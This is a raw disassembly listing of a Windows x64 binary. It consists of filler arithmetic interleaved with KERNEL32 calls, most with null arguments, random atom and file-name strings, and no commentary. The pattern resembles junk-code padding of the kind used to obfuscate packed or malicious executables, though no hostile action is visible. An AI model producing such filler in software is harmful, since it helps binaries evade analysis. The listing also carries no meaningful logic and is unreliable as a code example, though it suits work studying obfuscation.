mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xb270]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xde10], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe7a0], rax
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6754], eax
movzx eax, byte [rsp + 0x36a]
mov byte [rsp + 0x415], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov eax, dword [rsp + 0x68c8]
mov ecx, dword [rsp + 0x68b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58ac], eax
mov rax, qword [rsp + 0xe660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdbc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9588], rax
movzx ecx, word [rsp + 0x22d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26b0], ax
lea rax, [rsp + 0x22e0]
mov qword [rsp + 0xe7a8], rax
movzx eax, word [rsp + 0x26a4]
mov rcx, qword [rsp + 0xe5f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c7248], ax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x666c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x1b5e
mov rcx, qword [rsp + 0xcda8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6628], eax
mov rax, qword [rsp + 0xb020]
mov rcx, qword [rsp + 0xe5d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe220], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
mov word [rsp + 0x26b4], ax
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xce88]
mov word [rcx], ax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7b8]
mov qword [rsp + 0xe7b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe7b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe770], rax
mov rax, qword [rsp + 0xcf50]
mov rcx, qword [rsp + 0xd080]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c78], rax
mov rax, qword [rsp + 0xd6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6844], eax
lea rax, [0x1401c8a12]
mov qword [rsp + 0xe7b8], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd508]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2474], ax
mov rax, qword [rsp + 0xd230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1d8]
mov qword [rsp + 0xe7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe7c0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c8de0], rax
mov rax, qword [rsp + 0xcf48]
mov ecx, dword [rsp + 0x602c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc848]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe000]
movzx eax, byte [rax]
mov byte [rsp + 0x416], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xd8e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd28], ax
movzx eax, word [rsp + 0x2458]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc468]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd418]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6a34], eax
movsx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x34d], al
mov rax, qword [rsp + 0xd660]
mov eax, dword [rax]
mov dword [rsp + 0x6a38], eax
mov rax, qword [rsp + 0xcd08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb20], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rax, [0x1401c8d00]
mov qword [0x1401c8ec0], rax
mov rax, qword [rsp + 0xe140]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9af8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xad20], rax
mov rax, qword [rsp + 0xa680]
mov rcx, qword [rsp + 0xb020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xe3b8]
mov qword [rsp + 0xe7c8], rax
movsx eax, word [rsp + 0x1928]
movsx ecx, word [rsp + 0x20c0]
add eax, ecx
mov word [rsp + 0x212c], ax
mov rax, qword [rsp + 0xd660]
mov rcx, qword [rsp + 0xd2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5a3c], eax
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
mov qword [rsp + 0xe7d0], rax
mov rax, qword [rsp + 0xcee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd170]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x192], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6548], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe7d8], rax
lea rdx, [rsp + 0x26530]
mov rcx, qword [rsp + 0xd280]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69f0], eax
mov rax, qword [rsp + 0xda78]
mov rcx, qword [rsp + 0xd430]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5c64], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rcx, str.ez2h3_Qr9yT1_ML43b8v8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x26b8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6774], eax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe000]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x314], al
movsx eax, word [rsp + 0x1fb4]
movsx ecx, word [rsp + 0x2290]
or eax, ecx
mov word [0x1401c8c08], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx ecx, word [rsp + 0x238c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26bc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [0x1401c8d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd38], ax
movzx eax, word [rsp + 0x1f8c]
mov word [rsp + 0x26c0], ax
mov rax, qword [rsp + 0xdd70]
mov rcx, qword [rsp + 0xc5a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
lea rax, [0x1401c8e68]
mov qword [rsp + 0xe7e0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x69b0], eax
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x34d], al
mov rax, qword [rsp + 0xd598]
mov rcx, qword [rsp + 0xe580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe450]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.pQdCLP5reI9du
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe7e8], rax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24ec]
shl eax, cl
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xe160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe640]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2650], ax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xdb48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64d8], eax
lea rax, [0x1401c7058]
mov qword [0x1401c8ec8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6968], eax
movzx eax, word [rsp + 0x21f8]
mov word [rsp + 0x26c4], ax
mov rax, qword [rsp + 0xd9a8]
movzx ecx, al
mov rax, qword [rsp + 0xcb68]
sar rax, cl
mov rcx, qword [rsp + 0xd230]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0xdd40]
mov rdx, qword [rsp + 0xe7f0]
mov rcx, qword [rsp + 0xe080]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66bc], eax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xb7e0]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0xc9c8]
mov qword [rsp + 0xe7f8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xe6d0]
mov ecx, dword [rsp + 0x6728]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x593c], eax
mov rax, qword [rsp + 0xd650]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5884], eax
lea rcx, [rsp + 0x20188]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6a3c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xe070]
movzx eax, byte [rax]
cdq
mov ecx, 0x39
idiv ecx
mov byte [rsp + 0x39a], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6800], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xe4e8]
movzx eax, byte [rax]
mov byte [rsp + 0x417], al
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c8af8], ax
movsx eax, word [rsp + 0x2600]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2014], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov rcx, qword [0x1401c8df8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x21c4], ax
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1860], ax
movsx eax, byte [rsp + 0x3e2]
mov rcx, qword [rsp + 0xce60]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3a7], al
mov eax, dword [0x1401c71d4]
mov dword [rsp + 0x6a40], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x201b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe208], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xc588]
mov rcx, qword [rsp + 0xb710]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xde58], rax
movsx eax, word [rsp + 0x24b8]
movsx ecx, word [rsp + 0x2580]
add eax, ecx
mov word [rsp + 0xb60], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, word [rsp + 0x22cc]
mov word [rsp + 0x26c8], ax
lea rcx, str.YbABO_8nPoSRJ5V
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x26cc], ax
lea rax, [rsp + 0xe520]
mov qword [0x1401c8ed0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xdf10]
mov rcx, qword [rsp + 0xd808]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb7e0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6824], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x649c], eax
mov rax, qword [rsp + 0xd400]
mov rcx, qword [0x1401c8a90]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xb1f0], rax
mov rax, qword [rsp + 0xab28]
mov rcx, qword [rsp + 0xe0c0]
mov qword [rsp + 0xe800], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe800]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xce10]
mov qword [rcx], rax
lea rcx, [rsp + 0x209c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe5e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0x2170]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xca60]
mov word [rcx], ax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov dword [rsp + 0x6a44], eax
mov edx, 0x1304
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6a48], eax
movzx ecx, word [rsp + 0x22dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2218], ax
mov rax, qword [rsp + 0xdb60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13d]
sar eax, cl
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xce58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb940], rax
mov rcx, qword [rsp + 0xdd30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6714], eax
movsx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0xd880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3cc], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe808], rax
mov rcx, qword [rsp + 0xd960]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6580], eax
lea rcx, [rsp + 0x1d750]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0xdc08]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6a4c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd460], rax
lea rax, [rsp + 0x6a38]
mov qword [0x1401c8ed8], rax
movzx eax, word [rsp + 0x1a34]
mov word [rsp + 0x26d0], ax
lea rcx, str.rLkDrZz_ge8OJp_Lp_UzSzVp5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2558], ax
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movsx eax, word [rsp + 0x1fc8]
movsx ecx, word [rsp + 0x22ec]
and eax, ecx
mov word [rsp + 0x2590], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6a50], eax
lea rdx, [rsp + 0x26488]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x657c], eax
movzx eax, word [rsp + 0x2108]
movzx ecx, word [rsp + 0x910]
xor eax, ecx
mov word [rsp + 0x2438], ax
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
mov qword [rsp + 0xe810], rax
movsx eax, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
movsx ecx, byte [rsp + 0x1a8]
sar eax, cl
mov byte [rsp + 0x3e9], al
movzx ecx, word [rsp + 0x24a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26d4], ax
mov rax, qword [rsp + 0xe010]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5c7c], eax
mov rax, qword [0x1401c7020]
movzx ecx, al
mov rax, qword [rsp + 0xdb88]
shl rax, cl
mov rcx, qword [rsp + 0xd720]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68fc], eax
movsx eax, word [rsp + 0xa10]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x158c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x634c], eax
mov rax, qword [rsp + 0xd998]
movzx eax, word [rax]
movzx ecx, word [0x1401c7098]
add eax, ecx
mov word [0x1401c8a70], ax
lea rax, [rsp + 0xb3b0]
mov qword [rsp + 0xe818], rax
movzx eax, word [rsp + 0x19ac]
movzx ecx, word [rsp + 0x14f8]
add eax, ecx
mov rcx, qword [rsp + 0xd470]
mov word [rcx], ax
mov eax, dword [rsp + 0x5a24]
mov dword [rsp + 0x6a54], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xe0d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd500]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0xcb50]
mov rcx, qword [rsp + 0xcfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6938], eax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe758]
mov qword [rsp + 0xe820], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe820]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9730], rax
movsx eax, byte [rsp + 0x3ac]
mov rcx, qword [rsp + 0xcd18]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x32e], al
lea rcx, [rsp + 0x209f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x1d04]
mov qword [rsp + 0xe828], rax
mov rax, qword [rsp + 0xe610]
movzx eax, word [rax]
mov word [0x1401c8ee0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xe360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca00]
mov qword [rsp + 0xe830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe830]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb910], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xdbf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe3e8], rax
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1401c8b50]
movzx eax, word [rax]
mov word [rsp + 0x26d8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x262c], ax
xor edx, edx
mov rax, qword [rsp + 0xd080]
mov rcx, qword [rsp + 0xd7a8]
div qword [rcx]
mov qword [rsp + 0xba50], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x61bc], eax
movzx eax, byte [rsp + 0x3ee]
mov byte [rsp + 0x418], al
mov rax, qword [rsp + 0xd7b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfa0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1928]
mov rcx, qword [rsp + 0xe7a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c8d90], ax
movzx eax, word [rsp + 0x17b0]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2474], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movzx eax, byte [rsp + 0x411]
mov byte [rsp + 0x419], al
mov rax, qword [rsp + 0xdc78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401c8a1c]
shl eax, cl
mov dword [rsp + 0x597c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xdf10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb668]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cb8], rax
mov rax, qword [rsp + 0xe580]
mov ecx, dword [rsp + 0x59b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6998], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
movzx ecx, word [rsp + 0x2550]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x250c], ax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3b2]
add eax, ecx
mov rcx, qword [rsp + 0xd170]
mov byte [rcx], al
mov rax, qword [rsp + 0xc820]
mov qword [rsp + 0xe838], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2514]
add eax, ecx
mov word [rsp + 0x19d4], ax
mov rax, qword [rsp + 0xda68]
movzx eax, word [rax]
mov word [0x1401c8ee4], ax
lea rax, [rsp + 0xac70]
mov qword [rsp + 0xe840], rax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov rcx, qword [0x1401c8d48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f78], ax
lea rcx, str.zKu1Pft_NqvGAnY_d3agys
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x26dc], ax
lea rcx, [rsp + 0x1d5e8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, word [rsp + 0x2300]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2020], ax
lea rcx, [rsp + 0x20a28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x263e0]
mov rcx, qword [rsp + 0xde18]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x689c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movsx eax, word [rsp + 0xa3c]
mov rcx, qword [rsp + 0xe578]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2580], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe848], rax
lea rax, [rsp + 0xa378]
mov qword [rsp + 0xe850], rax
mov rcx, qword [rsp + 0xd348]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r9d, 0x1d77
xor r8d, r8d
lea rdx, [rsp + 0xc370]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xd680]
mov ecx, dword [rsp + 0x698c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x66d4], eax
movsx eax, byte [rsp + 0x3f4]
mov rcx, qword [rsp + 0xde08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x340], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xc548]
mov rcx, qword [rsp + 0xd768]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe600]
mov qword [rcx], rax
mov edx, 0x119
mov rcx, qword [rsp + 0xe620]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6808], eax
movzx eax, word [rsp + 0x25a4]
mov word [rsp + 0x26e0], ax
mov rax, qword [rsp + 0xdbb8]
mov rcx, qword [rsp + 0xce10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c8c88], rax
lea rcx, [rsp + 0x20368]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c6]
sub eax, ecx
mov byte [rsp + 0x13d], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x6398]
sar eax, cl
mov dword [rsp + 0x5c0c], eax
lea rcx, [rsp + 0x208d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x25e0]
mov word [rsp + 0x26e4], ax
movzx eax, word [rsp + 0xf00]
mov rcx, qword [0x1401c8ec0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f70], ax
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6954]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x57e8], eax
mov rax, qword [rsp + 0xcf18]
mov rcx, qword [rsp + 0xd9e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa330], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
